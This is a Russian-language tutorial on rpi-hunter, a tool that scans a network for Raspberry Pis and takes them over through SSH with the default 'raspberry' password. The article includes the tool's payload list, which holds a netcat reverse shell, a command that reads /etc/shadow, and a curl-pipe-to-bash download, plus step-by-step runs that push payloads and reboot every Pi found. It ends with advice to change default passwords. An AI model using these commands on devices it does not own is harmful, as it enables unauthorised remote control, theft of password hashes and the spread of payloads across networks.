Исследуем и атакуем Raspberry Pi, используя учетные данные по умолчанию с RPI-hunter

Исследуем и атакуем Raspberry Pi, используя учетные данные по умолчанию с RPI-hunter

При настройке Raspberry Pi легко пропустить изменение пароля по умолчанию. Как и многие IoT устройства, стандартная операционная система Raspberry Pi Raspbian устанавливается с широко известным паролем по умолчанию, что делает устройство уязвимым для удаленного доступа. С помощью инструмента rpi-hunter, хакеры могут обнаруживать, получать доступ и сбрасывать полезные пользовательские нагрузки на любом уязвимом Pi, подключенном к той же сети.

Хотя данный инструмент предназначен в первую очередь для локальных сетей, он также способен обнаруживать и атаковать модели Pi, подключенные к сети Интернет. Уязвимый Pi представляет нешуточную опасность, так как может предоставить хакерам беспрепятственный доступ к другим устройствам во внутренней сети и даже распределить полезную нагрузку на другие уязвимые устройства.

Почему учетные данные, установленные по умолчанию, являются проблемой

Устройства, использующие пароли по умолчанию, представляют значительный риск при подключении к сети. Поскольку многие IoT устройства даже не позволяют владельцу изменять пароль, благодаря жестко закодированным учетным данным, они представляют излюбленную целью для хакеров и автоматизированных ботнетов. Используя данные недостатки, в октябре 2016 года хакеры вывели из строя интернет-сервис в США с помощью тысячи уязвимых компьютеров, связанных в ботнет Mirai.

Данный ботнет был создан путем сканирования больших блоков в Интернете на наличие открытых telnet портов. Затем с помощью паролей по умолчанию предпринимались попытки входа на каждое обнаруженное устройство. В случае успеха уязвимое устройство захватывалось и пополняло армию ботнета.

Помимо IoT устройств учетные данные по умолчанию представляют серьезную проблему для маршрутизаторов. Поскольку большинство пользователей никогда не меняют пароль при подключении устройства, любой злоумышленник, имеющий Wi-Fi - пароль, может легко получить доступ к настройкам маршрутизатора и порталу администратора. После этого можно без особых сложностей настроить удаленное администрирование, загрузить неавторизованную прошивку, чтобы шпионить за владельцем, и внести другие несанкционированные изменения в устройство, например, указать DNS-сервер как вредоносный.

Зная пароль по умолчанию, используемый устройством, можно легко автоматизировать вход в устройство для выполнения каких-либо действий. Именно для этого предназначен rpi-hunter. С его помощью мы можем использовать наши знания о пароле по умолчанию для Raspberry Pi для автоматизации удаленного подключения и управления Pi.

Rpi-hunter для добрых дел

Если у вас есть несколько компьютеров Raspberry Pi, rpi-hunter может взять на себя всю работу по их обновлению. Обнаружив Pi в сети, можно легко вносить изменения в каждое устройство по отдельности или получать доступ к каждому Pi одновременно в группе. Хотя rpi-hunter по умолчанию запрограммирован на использование пароля операционной системы Raspbian, заданного по умолчанию, вы можете легко изменить пароль на тот, который использовался для настройки вашего Raspberry Pi.

Если у вас есть домашняя или рабочая сеть с Raspberry Pi, которую необходимо настроить, вы можете подключить миникомпьютеры к сети, включить SSH и с помощью rpi-hunter внести любые необходимые изменения во всю группу. Вы можете запускать обновления, изменять пароли или предварительно загружать программное обеспечение на компьютеры Pi, также есть возможность отложенного запуска. Гораздо удобнее одновременно выдавать команды всем вашим Pi, подключенным к сети, чем делать это по очереди для каждого компьютера.

Rpi-hunter на ”темной” стороне

Не требуется особого воображения, чтобы догадаться, как можно использовать возможность обнаруживать и контролировать большие группы Raspberry Pi с учетными данными по умолчанию. Помимо стандартного Raspbian, многие Raspberry Pi используются в качестве контроллеров OctoPrint или других приложений с хорошо известными паролями по умолчанию. Если какое-либо из этих устройств подключено напрямую к Интернету, rpi-hunter сможет обнаружить его через Интернет и начать выдавать команды.

Владелец Raspberry Pi, забыв сменить пароль, дает постороннему возможность удаленного управления, позволяя злоумышленнику потенциально получить плацдарм для дальнейшего заражения вашей сети. Обычный пользователь, забывший изменить дефолтные учетные данные Raspberry Pi, может никогда не заметить признаков того, что его устройство скомпрометировано, в то время как устройство тихо следует чужим командам, например, выполняет маршрутизацию транзакций с украденными кредитными картами через вашу сеть или занимается отслеживанием трафика.

Что необходимо сделать

Чтобы следовать данному руководству, вам понадобится модель Raspberry Pi, например, Zero W, 3 Model B + или 4, на которой работает Raspbian или Debian. Вы должны иметь возможность загрузить эту операционную систему для Raspberry Pi со страницы загрузки Pi Foundation. Когда у вас есть Raspberry Pi с установленным Raspbian, вы можете подключить его к домашней сети с помощью кабеля Ethernet (если у Pi есть порт Ethernet) или Wi-Fi.

Далее вам понадобится компьютер с Python для запуска rpi-hunter. Поскольку Python является кроссплатформенным, вы сможете установить его со страницы загрузки в используемой операционной системе.

Если у вас установлен Python и ваш компьютер подключен к той же сети, к которой подключен Raspberry Pi, тогда вы готовы начать использовать rpi-hunter.

Шаг 1: Переведите Rpi-hunter в режим готовности

Сначала нам нужно установить библиотеки, на которых работает rpi-hunter. Для этого откройте новое окно терминала и введите следующие команды. Если вы не root, вы должны использовать sudo перед этой и другими командами в статье.

 ~# pip install -U argparse termcolor
 
 Requirement already up-to-date: argparse in /usr/local/lib/python3.7/dist-packages (1.4.0)
 Requirement already up-to-date: termcolor in /usr/lib/python3/dist-packages (1.1.0)
 ~# apt -y install arp-scan tshark sshpass
 
 Reading package lists... Done
 Building dependency tree
 Reading state information... Done
 The following packages were automatically installed and are no longer required:
   dh-python libdouble-conversion1 liblinear3 libtasn1-doc libwireshark11
   libwiretap8 libwscodecs2 libwsutil9
 Use 'apt autoremove' to remove them.
 The following additional packages will be installed:
   cryptsetup cryptsetup-initramfs cryptsetup-run gcc-10-base libgcc-s1
   libgnutls-dane0 libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28
   libhogweed5 libnettle7 libp11-kit-dev libp11-kit0 libsnappy1v5 libtasn1-6
   libtasn1-6-dev libwireshark-data libwireshark13 libwiretap10 libwsutil11
   p11-kit-modules wireshark-common wireshark-qt
 Suggested packages:
   keyutils gnutls-bin gnutls-doc geoip-database-extra libjs-leaflet
   libjs-leaflet.markercluster snmp-mibs-downloader wireshark-doc
 Recommended packages:
   cryptsetup-nuke-password libtasn1-doc
 The following NEW packages will be installed:
   gcc-10-base libgcc-s1 libhogweed5 libnettle7 libwireshark13 libwiretap10
   libwsutil11 sshpass
 The following packages will be upgraded:
   arp-scan cryptsetup cryptsetup-initramfs cryptsetup-run libgnutls-dane0
   libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28 libp11-kit-dev
   libp11-kit0 libsnappy1v5 libtasn1-6 libtasn1-6-dev libwireshark-data
   p11-kit-modules tshark wireshark-common wireshark-qt
 19 upgraded, 8 newly installed, 0 to remove and 1905 not upgraded.
 Need to get 25.0 MB/26.8 MB of archives.
 After this operation, 97.9 MB of additional disk space will be used.
 ...

После установки этих библиотек мы можем перейти к установке rpi-hunter из репозитория GitHub. Чтобы клонировать репо, вы можете ввести в окне терминала следующее:

~# git clone https://github.com/BusesCanFly/rpi-hunter.git
 
 Cloning into 'rpi-hunter'...
 remote: Enumerating objects: 1, done.
 remote: Counting objects: 100% (1/1), done.
 remote: Total 138 (delta 0), reused 0 (delta 0), pack-reused 137
 Receiving objects: 100% (138/138), 1.49 MiB | 4.27 MiB/s, done.
 Resolving deltas: 100% (70/70), done.

Теперь перейдите в папку «rpi-hunter» (с помощью команды cd), и недавно загруженный «rpi-hunter.py» готов к запуску.

 ~# cd rpi- hunter

Шаг 2: Включите SSH на вашем Raspberry Pi

Подключите Raspberry Pi к сети через кабель Ethernet или Wi-Fi и убедитесь, что SSH включен. Вы можете проверить это, запустив команду raspi-config в новом окне терминала. Выберите «Параметры интерфейса», затем включите удаленный доступ командной строки к вашему Pi с помощью SSH.

Как только SSH будет включен, сохраните ваши настройки. Вам может потребоваться перезагрузка. Когда ваше устройство перезагружается, вы можете проверить, работает ли SSH, набрав ifconfig, чтобы получить ваш IP-адрес в окне терминала на Pi, а затем выполнив следующую команду на другом устройстве.

 ~# nmap -p 22 (pi's IP address here)

Если сканирование Nmap показывает, что порт «открыт», тогда SSH успешно работает на вашем Pi.

Шаг 3: Установите Rpi-hunter на Ваш Raspberry Pi

Перед первым запуском нам нужно сделать исполняемый файл «rpi-hunter.py», выполнив следующую команду в новом окне терминала.

 ~# chmod + x rpi- hunter. py

Шаг 4: Запустите Rpi-hunter

Теперь мы должны иметь возможность запустить программу и увидеть различные флаги, с которыми мы можем работать.

 ~/rpi-hunter# python rpi-hunter.py -h
 
 usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                      [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                      [--safe] [-q]
 
 optional arguments:
   -h, --help         show this help message and exit
   --list             List avalible payloads
   --no-scan          Disable ARP scanning
   -r IP_RANGE        IP range to scan
   -f IP_LIST         IP list to use (Default ./scan/RPI_list)
   -c CREDS           Password to use when ssh'ing
   --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
   -H HOST            (If using reverse_shell payload) Host for reverse shell
   -P PORT            (If using reverse_shell payload) Port for reverse shell
   --safe             Print sshpass command, but don't execute it
   -q                 Don't print banner or ARP scan output

Здесь можно увидеть несколько полезных флагов. Мы можем сканировать одно устройство с -r или диапазоном IP-адресов, или мы можем даже извлечь из списка IP-адресов флаг -f. Существует несколько опций, позволяющих выбрать полезную нагрузку, также можно изучить доступные полезные нагрузки, введя следующую команду.

~/rpi-hunter# python rpi-hunter.py --list
 
 ██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
 ██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
 ██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
 ██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
 ██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
 ╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
 -----------------------------------------------------------------------------
       BusesCanFly                                           76 32 2e 30
 -----------------------------------------------------------------------------
 
 Payloads:
 Specify with --payload name
 
 [raincow_install] sudo apt -y install fortune cowsay lolcat
 [motd] echo "CHANGE YOUR PASSWORD" > /etc/motd
 [raincow_bashrc] sudo echo "fortune | cowsay | lolcat" >> ~/.bashrc
 [reverse_shell] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc None None >/tmp/fC
 [apt_update] sudo apt update && sudo apt -y upgrade
 [shadow] sudo cat /etc/shadow
 [rickroll] curl -s -L http://bit.ly/10hA8iC | bash
 [gitpip] sudo apt -y install git python-pip

В списке полезной нагрузки мы видим несколько вариантов на выбор. Мы можем изменить сообщение дня, создать обратную оболочку для удаленного управления Pi или даже настроить свою полезную нагрузку для отправки.

Шаг 5: Обнаружьте Raspberry Pi в сети

Для обнаружения Raspberry Pi в сети, rpi-hunter проведет серию сканирований, чтобы идентифицировать любое устройство, изготовленное Raspberry Pi. Мы конечно можем сами запустить сканирование, указав напрямую IP-адрес устройства. Но нам также хотелось бы находить и контролировать устройства в сети, о которых мы не знали.

Для неизвестной сети rpi-hunter просканирует весь диапазон сети на наличие устройств Raspberry Pi, добавит их в список, а затем отправит полезную нагрузку на любое устройство, на котором установлены учетные данные по умолчанию. Мы можем сделать это с полезной нагрузкой whoami с помощью следующей команды. Я запускаю свою без предварительного подключения Pi к сети. (Примечание. Вы также можете сканировать определенный диапазон IP-адресов, вставив флаг -r и диапазон перед полезной нагрузкой.)

  ~/rpi-hunter# python rpi-hunter.py --payload whoami
 
 ██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
 ██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
 ██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
 ██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
 ██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
 ╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
 -----------------------------------------------------------------------------
       BusesCanFly                                           76 32 2e 30
 -----------------------------------------------------------------------------
 
 Interface: wlp1s0, datalink type: EN10MB (Ethernet)
 Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
 172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
 172.16.42.3 60:30:d4:6a:06:c8   (Unknown)
 172.16.42.27    b0:19:c6:98:72:ee   (Unknown)
 172.16.42.24    1c:36:bb:00:bd:84   (Unknown)
 172.16.42.85    8c:85:90:3a:77:14   (Unknown)
 172.16.42.15    30:59:b7:08:b2:86   Microsoft
 172.16.42.102   8c:85:90:c4:45:08   (Unknown)
 172.16.42.117   00:26:bb:1b:97:72   Apple, Inc.
 172.16.42.121   8c:85:90:0c:a6:e6   (Unknown)
 172.16.42.138   18:65:90:e0:3e:03   (Unknown)
 172.16.42.122   d0:c5:f3:9a:eb:2b   (Unknown)
 172.16.42.35    10:4a:7d:39:ea:e0   Intel Corporate
 172.16.42.75    40:4e:36:3b:63:bf   HTC Corporation
 172.16.42.80    34:23:87:ae:e4:41   Hon Hai Precision Ind. Co.,Ltd.
 172.16.42.95    3c:2e:f9:bb:87:ad   (Unknown)
 172.16.42.105   88:e9:fe:87:c7:74   (Unknown)
 172.16.42.112   c4:b3:01:bc:ab:e7   Apple, Inc.
 172.16.42.115   36:26:1f:e8:1f:63   (Unknown)
 172.16.42.169   a8:bb:cf:13:42:6e   Apple, Inc.
 172.16.42.179   8c:85:90:81:9a:9b   (Unknown)
 172.16.42.141   8c:85:90:c3:be:3e   (Unknown)
 172.16.42.123   a4:34:d9:3f:b3:30   Intel Corporate
 172.16.42.164   b8:e8:56:12:84:36   Apple, Inc.
 
 23 packets received by filter, 0 packets dropped by kernel
 Ending arp-scan 1.9.5: 256 hosts scanned in 2.571 seconds (99.57 hosts/sec). 23 responded
 
 Located 0 Raspi's
 
 Loaded 0 IP's
 
 Sending payload to Pi's
 Godspeed, little payloads

Из выходных данных видно, что в сети, в которой мы сейчас находимся, Raspberry Pi не обнаружено. При наличии Raspberry Pi в сети, мы бы увидели ответ «pi», который выдает устройство в ответ на команду whoami.

Шаг 6: Отправка полезной нагрузки по умолчанию

Теперь давайте продолжим и отправим одну из полезных нагрузок по умолчанию, включенных в сценарий, в Raspberry Pi. Давайте использовать полезную нагрузку motd, которая изменит «сообщение дня» Pi, появляющееся, когда пользователь входит в систему через SSH. (Примечание. Если вы уже нашли Pi, на который выбрали в качестве цели, вставьте флаг -r и его IP-адрес перед полезной нагрузкой.)

После выполнения сценарий подключится к любому Pi, обнаруженному через SSH, используя учетные данные по умолчанию, а затем добавит «ИЗМЕНИТЬ СВОЙ ПАРОЛЬ» в текст сообщения, выдаваемого при входе в систему.

~/rpi-hunter# python rpi-hunter.py --payload motd
 
 ██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
 ██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
 ██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
 ██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
 ██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
 ╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
 -----------------------------------------------------------------------------
       BusesCanFly                                           76 32 2e 30
 -----------------------------------------------------------------------------
 
 Interface: wlp1s0, datalink type: EN10MB (Ethernet)
 Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
 172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
 172.16.42.15    30:59:b7:08:b2:86   Microsoft
 172.16.42.24    1c:36:bb:00:bd:84   (Unknown)
 172.16.42.48    b4:9c:df:c1:27:5d   (Unknown)
 172.16.42.85    8c:85:90:3a:77:14   (Unknown)
 172.16.42.75    40:4e:36:3b:63:bf   HTC Corporation
 172.16.42.80    34:23:87:ae:e4:41   Hon Hai Precision Ind. Co.,Ltd.
 172.16.42.169   a8:bb:cf:13:42:6e   Apple, Inc.
 172.16.42.121   8c:85:90:0c:a6:e6   (Unknown)
 172.16.42.182   f4:5c:89:99:57:13   Apple, Inc.
 172.16.42.102   8c:85:90:c4:45:08   (Unknown)
 172.16.42.97    a4:b8:05:66:a0:64   Apple, Inc.
 172.16.42.122   d0:c5:f3:9a:eb:2b   (Unknown)
 172.16.42.130   90:61:ae:8f:f4:03   (Unknown)
 172.16.42.127   4c:66:41:77:66:37   SAMSUNG ELECTRO-MECHANICS(THAILAND)
 172.16.42.98    78:4f:43:59:7b:fb   Raspberry Pi
 172.16.42.112   c4:b3:01:bc:ab:e7   Apple, Inc.
 
 21 packets received by filter, 0 packets dropped by kernel
 Ending arp-scan 1.9.5: 256 hosts scanned in 2.538 seconds (100.87 hosts/sec). 17 responded
 
 Located 1 Raspi's
 
 Loaded 1 IP's
 
 Sending payload to Pi's
 Godspeed, little payloads
 
 Sending payload to  172.16.42.98

Получилось! При следующем входе в Raspberry Pi через SSH, мы увидим добавленное сообщение «CHANGE YOUR PASSWORD».

Шаг 7: Отправка пользовательской полезной нагрузки

Теперь, когда мы можем отправлять полезные данные, давайте выйдем за пределы стандартных нагрузок, предусмотренных в сценарии, и используем простую пользовательскую нагрузку. Для этого заключим в кавычки (после флага –payload) любые команды, которые необходимо отправить. Чтобы перезагрузить каждый обнаруженный нами Pi, отправим команду sudo reboot в качестве полезной нагрузки. Результирующая команда выглядит так:

 ~/ rpi- hunter# python rpi- hunter. py -- payload " sudo reboot"
  
 Located 1 Raspi's
 
 Loaded 1 IP's
 
 Sending payload to Pi's
 Godspeed, little payloads
 
 Sending payload to  172.16.42.98
 Connection to 172.16.42.98 closed by remote host.

После выполнения этой команды каждый Raspberry Pi, находящийся в сети, должен немедленно перезагрузиться. Если некоторые Pi используют пароль, отличный от пароля по умолчанию «raspberry», установленного Raspbian, вы можете с флагом -c изменить пароль, который будет использовать rpi-hunter.

Доступ к Pi с использованием пароля, отличного от пароля по умолчанию, может быть выполнен с помощью следующей команды в окне терминала с добавлением пароля Pi туда, где находится «toor».

 ~/rpi-hunter# python rpi-hunter.py -c toor --payload "sudo reboot"

Теперь, когда вы можете изменить как отправленный пароль, так и свою полезную нагрузку, rpi-hunter готов удаленно управлять любым Pi или целой группой Pi.

Rpi-hunter позволяет контролировать множество Pi одновременно

К устройствам с учетными данными по умолчанию легко получить доступ, а rpi-hunter является мощным и полезным доказательством концепции, демонстрирующей, насколько легко захватить большое количество уязвимых устройств одновременно. Обязательно меняйте пароль по умолчанию на любом устройстве, подключаемом к сети, и никогда не открывайте устройства с учетными данными по умолчанию непосредственно в Интернете.

Если вы волнуетесь, что посторонний может получить доступ к вашему Raspberry Pi, отключите SSH, когда он вам не нужен, и рассмотрите возможность использования файла ключа, а не простой парольной фразы для обеспечения доступа SSH на вашем устройстве.

Надеюсь, вам понравилось это руководство по поиску и передаче полезных данных в Raspberry Pi по сети с помощью rpi-hunter!

Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!